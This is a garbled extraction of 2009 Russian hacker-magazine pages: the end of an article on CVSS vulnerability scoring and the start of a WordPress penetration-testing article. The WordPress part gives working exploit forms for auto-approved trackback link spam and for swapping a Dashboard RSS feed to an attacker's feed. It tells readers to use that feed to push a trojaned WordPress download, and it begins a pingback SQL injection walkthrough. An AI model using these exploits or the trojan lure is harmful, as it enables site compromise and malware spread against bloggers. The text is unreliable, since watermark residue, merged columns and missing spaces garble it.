Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
14.76 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

>>m

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

взлом

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПодсчитанноезначениеBase Score дляуязвимостивMicrosoft Windows

Всесамоеинтересноеивкусноераспространяетсятолькоплатно

Kernel GDI

 

Существуеточеньмноговидовсистемибаздляучетауязвимостей. Мно-

 

гиеизнихсовместимысCVE

BID указываетлишьнесколькохарактеристикосвойствахуязвимости

 

 

соседнейсетинетребуется. Такиеуязвимостичастоназывают

 

эксплуатируемымиудаленно. Примеромтакойсетевойатаки

 

служитпереполнениебуфераRPC.

 

Access Complexity: Low — сложностьдоступакресурсу:

 

низкая. Дляэксплуатацииспециальныхусловийиособых

info

обстоятельствнетребуется— всестандартно, шаблонно,

Истинныекорни

общедоступно.

созданияединой

Authentication: None — дляэксплуатацииненужнаавтори-

классификации

зация. Например, еслибыэтобылсервис, которыйтребует

баговиихконт-

предварительнойавторизациипокакой-нибудьмудреной

роля— этоUnix

схеме(смарт-карты, ключи, токены), тозначениеэтого

Known Problem

векторабылобыдругим.

List, Internal Sun

Confidentiality Impact: None — влияниенаразглашение

Microsystems Bug

критичнойинформации. Integrity Impact: None — нару-

List, каталогислужб

шениецелостности. Понятие«целостность» связано

реагированияна

сдостоверностьюиточностьюинформации. Еслибыу

компьютерные

злоумышленникабылавозможностьмодификациифайлов,

инцидентыCERT

измененияобластиисполненияфайлов, томыбыпостави-

раннихверсий.

лиздесьC (полное) илиP (частичное, от«partial»).

 

Availability Impact: Complete — атаки, потребляющиепро-

 

пускнуюспособностьсети, циклыпроцессораилидисковое

 

пространство, которыевлияютнадоступностьсистемы.

 

Еслиэксплуатацияуязвимостивызываетотказвобслужи-

 

вании, тоAvailability Impact имеетзначение«Complete».

 

 

ВРЕМЕННАЯМЕТРИКА

 

 

 

 

 

Болееглубокиманализомзанимаютсявременныеи

 

контекстныеметрики. Деловтом, чтоописанныевекторы

 

базовойметрикисовременемнеменяются. Онипостоян-

 

ныимогутхарактеризоватьуязвимостьпоназначениюи

 

опасности. Акакиекритериимогутизменятьсястечением

 

времени? Представь, чтотынашелкритическуюуязвимость

иуведомилразработчика. Временнойинтервалисправленияуязвимостивтакомслучаеимеетзначение, даик томуже, самизменяетсявовремени(этоможетбытьдень, час, либопроизводительвообщеникакнеотреагирует). Илиситуация, когдатвойдругнаписалбоевойэксплойтна недавнююуязвимость«нулевогодня». Какдолгоэтоткод будетактуален? Онускоритрискэксплуатации, следовательно, долженучитыватьсяприееописании. Доступнали будетеготехнологиякзавтрашнемудню? Навсеэтивопросыотвечаютвременныеметрики. Рассмотримнекоторыеих векторы.

Exploitability (E) — возможностьэксплуатации. Пожалуй, одинизважнейшихкритериев. Речьидетконкретноо доступностисредства(кода, эксплойта, технологии), которое успешноработает. Важноучитыватьито, чтодоступный эксплойтможноиспользоватьдалеконевсегда. Используемыеописательныефлаги: U (недоступенилинепроверен), Proof-of-Concept (POC — опубликовананаглядная демонстрацияуязвимости), F (функциональный, ирабочий эксплойтутебявруках), H («high risk» всейтемы, чаще всегохарактерендлячервейилидляуязвимостейсшироко популярнымописанием), ND (безразницы, векторметрики невлияетниначтосущественное, поэтомуучитыватьего ненадо). Remediation Level (RL) — уровеньисправления. Голосуязвимостиуслышалвесьсвет, воттолькокакпоступят разработчики? Поройонипростомолчат, потомучтоихуже неосталосьвживых(простите, зацинизмичерныйюмор), а иногдаабсолютносторонниеорганизацииинеофициальные источникиначинаютзаботитьсяобезопасностинапервый взглядчужихпродуктовиоперативнописатьзаплатки. Report Confidence (RC) — степеньдостоверностиотчета. Сколькослуховиразговоровкрутитсявокруг! Банальный

050

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

>>

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взломw

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

o

m

 

w

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Выводхарактеристикссайтаosvdb.org. Невсегдаавторамизвестноо наличиибоевогокодавприроде, чтозатемняетподробностиуязвимости

НаофициальномсайтеНациональнойбазыданныхуязвимостей естьвозможностьпоискапокритериямCVSS

Еслитызаметил, мыобращалиськновойредакцииCVSS (2). Существует ещеипервая, облегченнаяверсия, неучитывающаямногихпараметров. Темнеменее, онапригоднакиспользованиюинамногопроще. ПосчитатьBase Score длянееможноспомощьюсервисанаофсайтеNVD

пример: человекнаписалинформациюякобы

частьсетевогооборудованияперегревается,

PCI,FISMA,GLBAилиHIPAA)администраторупре-

орабочейкритическойуязвимости. Анаделе

несправляясьсработой, ивыходитизстроя. Но

доставляетсявозможностьполучитьшаблонный

оказалось, чтоэтопрограммныйдефекти

приэтомущербоказываетсянезначительным

отчет,соответствующийдокументу,издаваемому

ничегосущественногособойнепредставляет.

из-занизкойстоимостиустройстваиегораспо-

аудитором.Явстречалтакоевсовременныхскане-

Подтвержденалиуязвимостьэкспертамиили

ложения(внезащищаемыхиважныхобъектов).

рахбеспроводнойбезопасности,типаAirMagnet,

жеэтопростопроделкихакерскихслухов? Ответ

Target Distribution (TD) — плотностьцелей.

атакжедорогихкоммерческихсканерахвродеISS

наэтотвопросдаствекторReport Confidence.

Влияетлиуязвимостьтольконаоднуцель, либо

SecurityScanner.Поройсканерыбезопасности

Параметрывсехуказанныхвекторовградиру-

сеепомощьюможнопоработитьогромное

прибегаюткиспользованиюсобственногоразде-

ютсявариантами«да/нет/возможно».

числомашин? Еслиэтостендовоепоказатель-

лениябрешейпоID.Подобнаяпрактикаприменя-

 

 

ноевыступление, лабораторныйпрактикумили

етсявNessus,которыйтакисмениллицензиюна

 

КОНТЕКСТНАЯМЕТРИКА

эксплуатациянамашине, изолированнойот

полукоммерческую.

 

 

Этигруппывекторовотражаютвлияниена

других, тозначениеэтоговектораравнонулю.

 

 

средупользователяиизучаютповедение

 

ИСПОЛЬЗОВАНИЕ

 

ОТДЕЛЬНЫЕКЛАССИФИКАЦИИ

 

 

 

 

послеэксплуатацииуязвимости. Какправило,

 

ПодчасвСетиможнозаметитьабсолютно

 

 

метрикаиспользуетсявкачестведополнения

КЛАССИФИКАТОРОВВСКАНЕРАХ

самопальныеклассификации, вродеCommon

кбазовой. Collateral Damage Potential (CDP)

Современныеавтоматизированныеаудиторы

Criteria Web Application Security Scoring

— вероятностьнанесениякосвенногоущерба.

принятозатачиватьподкакую-либоконкретную

(CCWAPSS) 1.1. Естественно, большоговеса

Описываетэкономическиеилитехническиепо-

базузнаний.Во-первых,этопрестижно,во-вторых

такаясистеманеимеет, потомучтосоставлять-

тери. Скажем, намвстретитсяуязвимость, при-

—полезно.Кпримеру,приподготовкекаттестации

сяонадолжнареальнымиэкспертами, которые

водящаякDoS-атаке. Послеееэксплуатации

поодномуизсовременныхстандартов(NERC-CIP,

понимаютсутьпроблемы.

Список «междоусобной» совместимости систем классификаций

CVE: ISS, BID, Secunia, SecurityTracker, OSVDB

BID: CVE, Bugtraq, ISS, Secunia, SecurityTracker, OSVDB ISS: CVE, BID, Secunia, SecurityTracker, OSVDB Secunia: CVE, OSVDB

SecurityTracker: CVE, OSVDB, Nessus Nessus: CVE, BID, OSVDB

OSVDB: CVE, BID, Secunia, SecurityTracker, ISS, Nessus, Snort

ТАКЛИОНОВСЕВАЖНО?

Безусловно, кделуследуетподходитьбезфанатизма. Впервуюочередь, подобныесистемы классификациинацеленынаэкспертноезвено либоспециалистов, которыезаботятсяосвоевременномустранениибрешей. Но, намой взгляд, каждыйуважающийсебяхакердолжен знатьипониматьобщепринятыеклассификацииуязвимостей, разбиратьсявметрикахи ихвекторах, чтобычеткоияснопредставлять формулуоценкивсехнедавновзломанныхим ресурсов. z

XÀÊÅÐ 04 /124/ 09

051

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

w Click

 

BUY

>>m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взлом

w

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

o

m

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

АНДРЕЙ «SKVZ» КОМАРОВ

/ KOMAROV@ITDEFENCE.RU /

WordPress:

ТЕСТ НАПРОНИКНОВЕНИЕ

ПОЛНЫЙ АНАЛИЗМАЛОИЗВЕСТНЫХУЯЗВИМОСТЕЙРАСКРУЧЕННОГОДВИЖКА

WorldPress— без преувеличения, самый популярный движок во всех «интернетах» (по запросу «Powered by WordPress» Гугл выдает 74 400 000 результатов!). Движок писался с расчетом на то, чтобы любая «домохозяйка» смогла им воспользоваться. Так и получилось: знаменитая «5-минутная установка», средства защиты от спама, визуальный редактор, seo-friendly ссылки и многие другие фичи сделали свое дело. Но все ли в порядке у этого великолепия с элементарной безопасностью?

>> взлом

Впредыдущихномерах][ яуженеразподнималтемубезопасности

WordPress. Вкратцевернемсякпройденномуисистематизируемтвои знания.

Итак, последняямало-мальскисерьезнаяSQL-инъекциябыланайдена в2.2.2 версиидвижка28 июляужедалекого2007 годанекимAlexander Concha (неповезлочеловекусфамилией). Небудемподробнонаней останавливаться, ноеслитыинтересуешьсяисторией, смотриссылкуна advisory всносках.

Идемдалее. Вовсехверсияхдвижка, до2.3.3 версиивключительно, присутствуетXSS-уязвимостьвмодулефильтрацииhtml kses (вспомнитьонейтебепоможет, например, январскийномержурнала). Уязвимостьможнобылобысчитатьдостаточносерьезной, еслибынеодно но: админунадонажатьнассылкусоченьподозрительнымадресом, что произойдет, толькоеслиадмин— полный«чайник».

Стоитупомянутьонашумевшейвсвоевремяуязвимости«Charset Remote SQL Injection» (версии<=2.3.3), которуюясчитаюпсевдо-уязви-

мостью. Почему? Потомучтовнастройкахблогаискусственнодолжна бытьвыставленакодировкаMySQL «GBK» либо«BIG5». Атакогосчастливогосовпаденияяниразуневстречалзавсюсвоюмноголетнюю практикуработысдвижком.

Ещеоднапрезабавнейшаябага— «WordPress <=2.3.2 ‘xmlrpc.php’ Post Edit Unauthorized Access Vulnerability» (читай онейводномизпро-

шлогодних«FAQ United»), котораяпозволяетпользователямсправами «subscriber» редактироватьпостыдругихпользователей. Всебыхорошо, еслибыпостынесваливалисьв«draft», тоесть— неопубликованныечерновики. Такчто, оставимэтубагудляистории.

Говоряо2.3.x ветке, нельзянеупомянутьобаге«WordPress ‘cat’ Parameter Directory Traversal Vulnerability», окоторойятакжерасска-

зывалвFAQ. Багаудивительнасвоейпростотой, ноиспользование омрачаеттотфакт, чтоработаетонатольконаWindows-платформах. Последняядостойнаявниманияуязвимость— это«SQL Column Truncation (Admin Takeover)», почитатьокоторойтысможешьвмоей прошлогоднейстатье«Неслучайныечисла».

Замечу, что пользоваться ей крайне тяжело, ведь сгенерировать две rainbow таблицы по 40 и 80 Гб соответственно (ну, или подождать 2-4 дня), необходимых для работы эксплойта, не каждому под силу.

«Иэтовсе?» — удивишьсяты. Нет, дорогойчитатель. Пришлапора рассказатьтебеонедоконцаописанных, малоизвестных, либосовсем неизвестныхуязвимостях.

052

XÀÊÅÐ 04 /124/ 09

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

>> взломw Click

 

BUY

 

 

w Click

to

 

 

 

 

 

m

to

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WORDPRESS COMMENTS HTML SPAM VULNERABILITY

 

 

 

 

 

 

 

 

 

 

 

 

$str = mb_strcut( $str, 0, $count );

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Передтобойперваянеопубликованнаяуязвимость, которуюяназвал

 

 

// remove part of an entity at the end

 

 

 

 

 

«WordPress Comments Html Spam Vulnerability».

 

 

$str = preg_replace( '/&[^;\s]{0,6}$/’, '', $str );

 

 

 

 

 

Уязвимостьзатрагиваетвсеверсиидвижка, начинаяот1.5 изаканчивая

 

 

return $str;

 

 

 

 

 

 

 

последней(намоментнаписаниястатьи) 2.7.1.

 

}

 

 

 

 

 

 

Заглянемвисходникивордпресса. Открывайфайл./wp-includes/

 

 

 

 

 

 

 

 

 

 

Казалосьбы, передатьссылкуздесьневозможно. Нонерадивыеразра-

 

 

 

 

 

 

 

comment.php инаходиследующийкод:

 

 

 

 

 

 

 

 

 

 

ботчикиснованеучлинескольконюансов:

 

 

 

 

 

function check_comment($author, $email, $url, $comment,

 

1. strip_tags() успешнопропускаетчерезсебятегивроде«<br/>» (тоесть,

 

 

 

 

 

$user_ip, $user_agent, $comment_type) {

 

содержащиепробелы);

 

 

...

 

 

 

2.kses-фильтрыуспешнонормализуютhtml-теги, содержащиевсебе

 

 

 

 

 

if ( 'trackback' == $comment_type || 'pingback' ==

 

этисамыепробелы.

 

 

 

 

 

$comment_type ) { // check if domain is in blogroll

 

Исходяизэтойинформации, можнопридуматьконечныйэксплойт:

 

 

 

 

 

$uri = parse_url($url);

 

 

 

 

 

 

 

 

 

 

$domain = $uri['host'];

 

 

<html>

 

 

 

 

 

 

$uri = parse_url( get_option('home') );

 

 

<form action="http://lamer.com/wp/wp-trackback.

 

 

 

 

 

 

$home_domain = $uri['host'];

 

 

php?p=[ID_ПОСТА]" method="post">

 

 

 

 

 

 

if ( $wpdb->get_var($wpdb->prepare("SELECT

 

 

Тайтл: <input name=»title» value="commenter"/><br/>

 

 

 

 

 

 

link_id FROM $wpdb->links WHERE link_url LIKE (%s) LIMIT

 

 

URL:<input name="url" value="http://%/la.com"/><br/>

 

 

 

 

 

 

1", '%'.$domain.'%')) || $domain == $home_domain )

 

 

Comment:<input name="excerpt" value=""/><br/>

 

 

 

 

 

 

return true;

 

 

<input name="blog_name" value=»Blog" /><br/>

 

 

 

 

 

 

else

 

 

<input type="submit" value="ok"/>

 

 

 

 

 

 

return false;

 

 

</form>

 

 

 

}

 

 

 

 

</html>

 

 

 

...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

}

 

 

 

Гдевполе«Comment» вставляем:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вчемсмыслэтогокода?

 

 

 

 

 

 

 

 

 

 

 

< b >< a href="http"//ya.ru">Купить слона< / a >< / b >

 

 

 

 

 

1.Блог«смотрит» наURL трэкбека, парситегоспомощьюparse_url (под-

 

 

 

 

 

 

 

 

 

робноотом, чтотакоеTrackback, смотривмоейпрошлогоднейстатье

 

Витоге, нанужномблогемыполучимзааппрувленныйкомментарийс

 

 

 

 

 

«Спамомповебу»).

 

выделеннойжирнойссылкой«Купитьслона». Единственноезамечание:

 

 

 

 

 

2.Еслихосттрэкбэкаприсутствуетвблогролле(сборникссылокнатвоем

 

этотспособвSEO годентолькодляYahoo, Яндекса, MSN, таккаквкоде

 

 

 

 

 

блоге), тофункцияcheck_comment() вернетtrue.

 

ссылкидобавляетсяrel=«nofollow», благодарячемувсемогущийГугл ее

 

 

 

 

 

3. Есликомментарийуспешнопроходитчерезcheck_comment(), то

 

 

 

 

 

 

 

незасчитывает.

 

 

 

 

сразуначинаетотображатьсяподпостом. Ежелинет— долженпройти

 

 

 

 

 

 

 

 

 

премодерацию.

 

 

ПОДМЕНАRSS-ФИДОВВDASHBOARD

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Вэтомзанимательномкодеестьодиннюанс. РазработчикиWordPress

 

Вконцепрошлогогодаянашелещеодинзанимательныйбагв

 

 

 

 

просто-напростонезнают, какработаетфункцияparse_url.

 

WordPress, которыйзаключалсявподменеRSS-лентнаглавнойстрани-

 

 

 

 

Цитатасhttp://www.php.net/parse_url: «This function is not meant to

 

цеадминкиблога. Итак, вDashboard содержатсяследующиелентыно-

 

 

 

 

validate the given URL».

 

востей: новостиплагинов, incoming links, новостиdevblog c wordpress.

 

 

 

 

Этисловаподразумевают, чтоparse_url() элементарнонепроверяет

 

org иновости«ПланетыWordPress». Начинаясверсии2.5, ккаждому

 

 

 

 

валидностьпереданногоадреса! Мыможемпередатьвнеечто-товроде

 

фидуприкрепленакнопочка«Edit», чтопозволяетадминистраторублога

 

 

 

 

«http://%/suck_wordpress», врезультатечегопеременная$uri[‘host’]

 

редактироватьэтипресловутыефиды, заменяяихналюбыесвои. Но

 

 

 

 

станетравной«%».

 

разработчикисновапроморгалитотфакт, чтовфункцииредактирования

 

 

 

 

Далее, кактыужедогадался, нашevil-хостпереместитсявsql-запрос,

 

фидовнесуществуетникакойпроверкиправ(вкоторыйразпоража-

 

 

 

 

которыйприметследующийвид:

 

юсьневнимательностидевелоперов). Теперьсмотри. Скопируйленту

 

 

 

 

 

 

 

 

 

новостейсдевблогаофициальногосайтавордпресса, затемвставьв

 

 

 

 

 

"SELECT link_id FROM wp_links WHERE link_url LIKE ‘%%%’

 

неевкачествепервогопостаобъявлениеоsecurity-патче(илипросто

 

 

 

 

 

LIMIT 1"

 

новойверсии) блога. Впосте(естественно, вссылкенаскачку) укажи

 

 

 

 

 

 

 

 

 

свойпротрояненныйдистрибутиввордпресса. Затемположиподго-

 

 

 

 

Таккакэтотзапросвсегдабудетвозвращатьtrue, нашспам-коммента-

 

 

 

 

 

товленныйфиднакакой-нибудьсерверииспользуйэтотhtml-коддля

 

 

 

 

рийаприорибудетсчитатьсязааппрувленным:).

 

подменырсс-лентыдевблоганасвою:

 

 

 

 

Ноиэтоещеневсе! Дляработыстрекбекомиспользуетсяфайл./wp-

 

 

 

 

 

 

 

 

 

trackback.php, вкоторомнашетелокомментария($excerpt) попадаетв

 

 

<form action="http://lamer.com/wp265/wp-admin/"

 

 

 

 

такуюфункцию:

 

 

method="post">

 

 

 

 

 

 

 

 

 

 

<input name="widget-rss[1][url]" type="text"

 

 

 

 

 

function wp_html_excerpt( $str, $count ) {

 

 

value="http://ссылка_на_наш_evilrss.com/feed.xml" />

 

 

 

 

 

$str = strip_tags( $str );

 

 

<input name="widget-rss[1][title]" type="text"

 

 

 

 

 

 

 

 

 

 

 

 

 

XÀÊÅÐ 04 /124/ 09

053

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

w Click

 

BUY

>>m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

взлом

w

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

o

m

 

 

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

РедактированиекукисоввOpera

Генерациятаблицдляadmin takeover отЭлекта

links

wordpress.org/

 

 

 

 

 

 

 

download/release-

 

 

 

 

 

 

 

archive/ — архив

 

 

 

 

 

 

Эксплойтдлябагисcreate_function

 

 

 

 

релизовWordPress.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

milw0rm.com/

 

 

 

 

Спамвкомментариях

 

value="Заголовок рсс" />

 

 

 

 

 

 

exploits/4721

 

<input name="widget-rss[1][items]"

 

 

 

 

Charset Remote

 

value="сколько показывать постов в рсс" />

 

 

$wpdb->posts WHERE ID = $post_id");

SQL Injection

 

<input name="widget-rss[1][show_summary]"

 

 

$pung = trim($pung);

Vulnerability.

 

type="checkbox" value="1" checked="checked"/>

 

 

$pung = preg_split('/\s/', $pung);

 

 

<input name="widget-rss[1][show_author]"

 

 

$pung[] = $uri;

buayacorp.com/

 

type="checkbox» value="1" />

 

 

$new = implode("\n", $pung);

files/wordpress/

 

<input name="widget-rss[1][show_date]"

 

 

$new = apply_filters('add_ping', $new);

wordpress-sql-

 

type="checkbox" value="1" checked="checked"/>

 

 

return $wpdb->query("UPDATE $wpdb->posts

injection-advisory.

 

<input type="hidden" name="widget-rss[1]

 

 

SET pinged = '$new' WHERE ID = $post_id");

html — Remote

 

[submit]" value="1" />

 

}

 

SQL Injection in

 

<input type='hidden' name='sidebar'

 

 

 

 

 

 

 

 

WordPress and

 

value='wp_dashboard' />

Небольшиераскопкидаютпонять, чтофильтра«add_ping»

WordPress MU.

 

<input type='hidden' name='widget_id'

 

несуществуетвкодедвижка.

 

 

value='dashboard_primary' />

 

Получается, чтоданныеизпервогозапросаподставляются

securityfocus.

 

<input type='submit' value='Save' />

 

вовторойзапросбезкакой-либофильтрации! Атеперь

com/bid/27669

 

</form>

 

оспособеэксплуатацииданнойуязвимости. Запасись

— WordPress

 

 

 

 

терпением:). Чтобыиспользоватьбаг, тебенеобходимодве

 

 

 

 

'xmlrpc.php' Post

Витоге, тыувидишьнаглавнойстраницеадминкиблога

 

инсталляциивордпресса:

Edit Unauthorized

свойevil-rss :).

1. Всеравнокакойверсии. Создайновыйпостслюбымтайт-

Access Vulnerability.

Ахда, дляиспользованияэтойуязвимостинеобходимы:

 

ломисодержимым:

 

1.Открытаярегистрациянаблоге;

 

 

 

 

securityfocus.

2. Версиидвижкаот2.5 до2.6.5 включительно.

 

 

<a href="http://ВТОРОЙ_БЛОГ/?p=[НОМЕР_

com/bid/28845

 

 

 

 

 

